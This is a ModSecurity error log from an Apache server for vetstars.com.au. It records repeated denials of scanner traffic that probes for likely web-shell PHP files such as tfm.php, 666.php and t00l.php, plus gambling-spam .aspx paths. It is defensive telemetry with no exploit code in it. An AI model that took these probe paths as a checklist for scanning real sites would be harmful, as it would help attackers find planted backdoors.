[Mon Apr 27 06:27:00.155361 2026] [:error] [pid 20603:tid 20615] [client 4.232.184.88:43256] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ae6RNA_k682XZv20MXyMdwAAAQc"]
[Mon Apr 27 06:27:01.296637 2026] [:error] [pid 22647:tid 22724] [client 4.232.184.88:53379] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ae6RNWjfVULTjnk5SzO2iwAAAI4"]
[Mon Apr 27 06:27:03.539425 2026] [:error] [pid 20603:tid 20612] [client 4.232.184.88:30790] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ae6RNw_k682XZv20MXyMfAAAAQQ"]
[Mon Apr 27 06:27:05.976772 2026] [:error] [pid 22647:tid 22712] [client 4.232.184.88:52775] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ae6ROWjfVULTjnk5SzO2jAAAAII"]
[Mon Apr 27 06:27:09.121084 2026] [:error] [pid 20603:tid 20618] [client 4.232.184.88:31073] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ae6RPQ_k682XZv20MXyMgQAAAQo"]
[Mon Apr 27 06:27:12.035926 2026] [:error] [pid 22646:tid 22696] [client 4.232.184.88:36561] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ae6RQIk_HyZhTP6AYaelpgAAAE0"]
[Mon Apr 27 06:27:16.554686 2026] [:error] [pid 20603:tid 20611] [client 4.232.184.88:56336] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ae6RRA_k682XZv20MXyMjAAAAQM"]
[Mon Apr 27 06:27:21.080456 2026] [:error] [pid 22646:tid 22693] [client 4.232.184.88:34667] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "ae6RSYk_HyZhTP6AYaelrwAAAEo"]
[Mon Apr 27 06:27:24.340948 2026] [:error] [pid 20603:tid 20625] [client 4.232.184.88:6530] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "ae6RTA_k682XZv20MXyMlQAAARE"]
[Mon Apr 27 06:28:10.829660 2026] [:error] [pid 22646:tid 22695] [client 4.232.184.88:34338] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "ae6Reok_HyZhTP6AYael4wAAAEw"]
[Mon Apr 27 06:28:17.410206 2026] [:error] [pid 20603:tid 20620] [client 4.232.184.88:43969] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "ae6RgQ_k682XZv20MXyM7AAAAQw"]
[Mon Apr 27 06:28:19.322452 2026] [:error] [pid 22647:tid 22720] [client 4.232.184.88:6261] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "ae6Rg2jfVULTjnk5SzO29wAAAIo"]
[Mon Apr 27 06:28:20.681411 2026] [:error] [pid 22645:tid 22659] [client 4.232.184.88:38979] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "ae6RhH-Pq2r302zQbMa78AAAAAQ"]
[Mon Apr 27 06:28:22.582951 2026] [:error] [pid 22647:tid 22728] [client 4.232.184.88:30862] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "ae6RhmjfVULTjnk5SzO2_gAAAJI"]
[Mon Apr 27 06:28:23.505209 2026] [:error] [pid 22646:tid 22684] [client 4.232.184.88:6624] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "ae6Rh4k_HyZhTP6AYael9AAAAEE"]
[Mon Apr 27 06:28:25.707431 2026] [:error] [pid 22751:tid 22757] [client 4.232.184.88:30885] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "ae6RiSc0tCpVyVdFok_WyQAAAMM"]
[Mon Apr 27 06:28:27.864202 2026] [:error] [pid 22751:tid 22770] [client 4.232.184.88:38989] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "ae6Riyc0tCpVyVdFok_W0QAAANA"]
[Mon Apr 27 06:28:30.459920 2026] [:error] [pid 20603:tid 20617] [client 4.232.184.88:53322] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "ae6Rjg_k682XZv20MXyNAAAAAQk"]
[Mon Apr 27 06:28:36.934760 2026] [:error] [pid 22645:tid 22666] [client 4.232.184.88:29632] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "ae6RlH-Pq2r302zQbMa79AAAAAs"]
[Mon Apr 27 06:28:41.294286 2026] [:error] [pid 22646:tid 22700] [client 4.232.184.88:29688] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "ae6RmYk_HyZhTP6AYaemBwAAAFE"]
[Mon Apr 27 06:28:41.863980 2026] [:error] [pid 20603:tid 20609] [client 4.232.184.88:29677] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "ae6RmQ_k682XZv20MXyNIAAAAQE"]
[Mon Apr 27 06:28:48.216920 2026] [:error] [pid 20603:tid 20613] [client 4.232.184.88:44479] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "ae6RoA_k682XZv20MXyNLQAAAQU"]
[Mon Apr 27 06:28:52.188725 2026] [:error] [pid 20603:tid 20625] [client 4.232.184.88:36237] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "ae6RpA_k682XZv20MXyNNwAAARE"]
[Mon Apr 27 06:28:58.448032 2026] [:error] [pid 22647:tid 22724] [client 4.232.184.88:58496] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casp1.php"] [unique_id "ae6RqmjfVULTjnk5SzO3EgAAAI4"]
[Mon Apr 27 06:29:00.975223 2026] [:error] [pid 22645:tid 22661] [client 4.232.184.88:33594] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casp1.php"] [unique_id "ae6RrH-Pq2r302zQbMa8DgAAAAY"]
[Mon Apr 27 06:29:02.553963 2026] [:error] [pid 22645:tid 22677] [client 4.232.184.88:44797] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casp1.php"] [unique_id "ae6Rrn-Pq2r302zQbMa8EAAAABY"]
[Mon Apr 27 06:29:06.212718 2026] [:error] [pid 22647:tid 22719] [client 4.232.184.88:35099] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casp1.php"] [unique_id "ae6RsmjfVULTjnk5SzO3GwAAAIk"]
[Mon Apr 27 06:29:59.284905 2026] [:error] [pid 22751:tid 22765] [client 4.232.184.88:64883] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "ae6R5yc0tCpVyVdFok_XUAAAAMs"]
[Mon Apr 27 06:30:01.944542 2026] [:error] [pid 22647:tid 22728] [client 4.232.184.88:40524] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "ae6R6WjfVULTjnk5SzO3PgAAAJI"]
[Mon Apr 27 06:30:03.308281 2026] [:error] [pid 22645:tid 22665] [client 4.232.184.88:36660] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "ae6R63-Pq2r302zQbMa8KwAAAAo"]
[Mon Apr 27 06:30:07.591957 2026] [:error] [pid 22645:tid 22672] [client 4.232.184.88:55997] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "ae6R73-Pq2r302zQbMa8LwAAABE"]
[Mon Apr 27 06:30:11.650092 2026] [:error] [pid 22647:tid 22711] [client 4.232.184.88:34713] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ae6R82jfVULTjnk5SzO3RwAAAIE"]
[Mon Apr 27 06:30:14.860510 2026] [:error] [pid 22751:tid 22771] [client 4.232.184.88:52692] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ae6R9ic0tCpVyVdFok_XdwAAANE"]
[Mon Apr 27 06:30:17.269672 2026] [:error] [pid 22751:tid 22770] [client 4.232.184.88:55985] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ae6R-Sc0tCpVyVdFok_XfQAAANA"]
[Mon Apr 27 06:30:18.924838 2026] [:error] [pid 22751:tid 22767] [client 4.232.184.88:38570] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ae6R-ic0tCpVyVdFok_XgQAAAM0"]
[Mon Apr 27 06:30:19.593539 2026] [:error] [pid 22647:tid 22718] [client 4.232.184.88:34719] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prosellers8.php"] [unique_id "ae6R-2jfVULTjnk5SzO3WAAAAIg"]
[Mon Apr 27 06:30:20.281871 2026] [:error] [pid 22751:tid 22776] [client 4.232.184.88:40529] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prosellers8.php"] [unique_id "ae6R_Cc0tCpVyVdFok_XiAAAANY"]
[Mon Apr 27 06:30:21.758477 2026] [:error] [pid 20603:tid 20624] [client 4.232.184.88:52715] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prosellers8.php"] [unique_id "ae6R_Q_k682XZv20MXyNuAAAARA"]
[Mon Apr 27 06:30:22.562825 2026] [:error] [pid 22647:tid 22728] [client 4.232.184.88:33927] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/prosellers8.php"] [unique_id "ae6R_mjfVULTjnk5SzO3YwAAAJI"]
[Mon Apr 27 06:30:24.814941 2026] [:error] [pid 22646:tid 22695] [client 4.232.184.88:38552] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "ae6SAIk_HyZhTP6AYaemUAAAAEw"]
[Mon Apr 27 06:30:27.402738 2026] [:error] [pid 20603:tid 20619] [client 4.232.184.88:34736] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "ae6SAw_k682XZv20MXyNvAAAAQs"]
[Mon Apr 27 06:30:31.329943 2026] [:error] [pid 22751:tid 22778] [client 4.232.184.88:38579] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "ae6SByc0tCpVyVdFok_XrwAAANg"]
[Mon Apr 27 06:30:37.449448 2026] [:error] [pid 20603:tid 20629] [client 4.232.184.88:34739] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "ae6SDQ_k682XZv20MXyN1AAAARU"]
[Mon Apr 27 06:30:41.443462 2026] [:error] [pid 20603:tid 20629] [client 4.232.184.88:38149] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "ae6SEQ_k682XZv20MXyN3gAAARU"]
[Mon Apr 27 06:30:43.564767 2026] [:error] [pid 22751:tid 22775] [client 4.232.184.88:38171] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "ae6SEyc0tCpVyVdFok_XtQAAANU"]
[Mon Apr 27 06:30:46.328542 2026] [:error] [pid 22751:tid 22765] [client 4.232.184.88:33502] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "ae6SFic0tCpVyVdFok_XugAAAMs"]
[Mon Apr 27 06:30:50.300445 2026] [:error] [pid 22751:tid 22778] [client 4.232.184.88:34730] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "ae6SGic0tCpVyVdFok_XwAAAANg"]
[Mon Apr 27 06:30:54.799437 2026] [:error] [pid 22751:tid 22768] [client 4.232.184.88:33947] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fsjzs.php"] [unique_id "ae6SHic0tCpVyVdFok_XxQAAAM4"]
[Mon Apr 27 06:31:48.518477 2026] [:error] [pid 22646:tid 22688] [client 4.232.184.88:52719] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sd.php"] [unique_id "ae6SVIk_HyZhTP6AYaemkQAAAEU"]
[Mon Apr 27 06:31:51.373656 2026] [:error] [pid 20603:tid 20619] [client 4.232.184.88:35411] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sd.php"] [unique_id "ae6SVw_k682XZv20MXyOkwAAAQs"]
[Mon Apr 27 06:31:53.759826 2026] [:error] [pid 22751:tid 22761] [client 4.232.184.88:42137] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sd.php"] [unique_id "ae6SWSc0tCpVyVdFok_YFAAAAMc"]
[Mon Apr 27 06:31:57.214995 2026] [:error] [pid 22645:tid 22667] [client 4.232.184.88:41062] [client 4.232.184.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sd.php"] [unique_id "ae6SXX-Pq2r302zQbMa8kQAAAAw"]
[Mon Apr 27 07:30:36.486424 2026] [:error] [pid 36490:tid 36554] [client 146.19.215.244:50052] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ae6gHExiWa1s9LPhuWK0DwAAAIY"]
[Mon Apr 27 07:30:38.923944 2026] [:error] [pid 36490:tid 36552] [client 146.19.215.244:47082] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ae6gHkxiWa1s9LPhuWK0FAAAAIQ"]
[Mon Apr 27 07:30:41.383477 2026] [:error] [pid 36490:tid 36557] [client 146.19.215.244:47088] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ae6gIUxiWa1s9LPhuWK0FgAAAIk"]
[Mon Apr 27 07:30:43.846896 2026] [:error] [pid 36490:tid 36560] [client 146.19.215.244:47102] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ae6gI0xiWa1s9LPhuWK0GwAAAIw"]
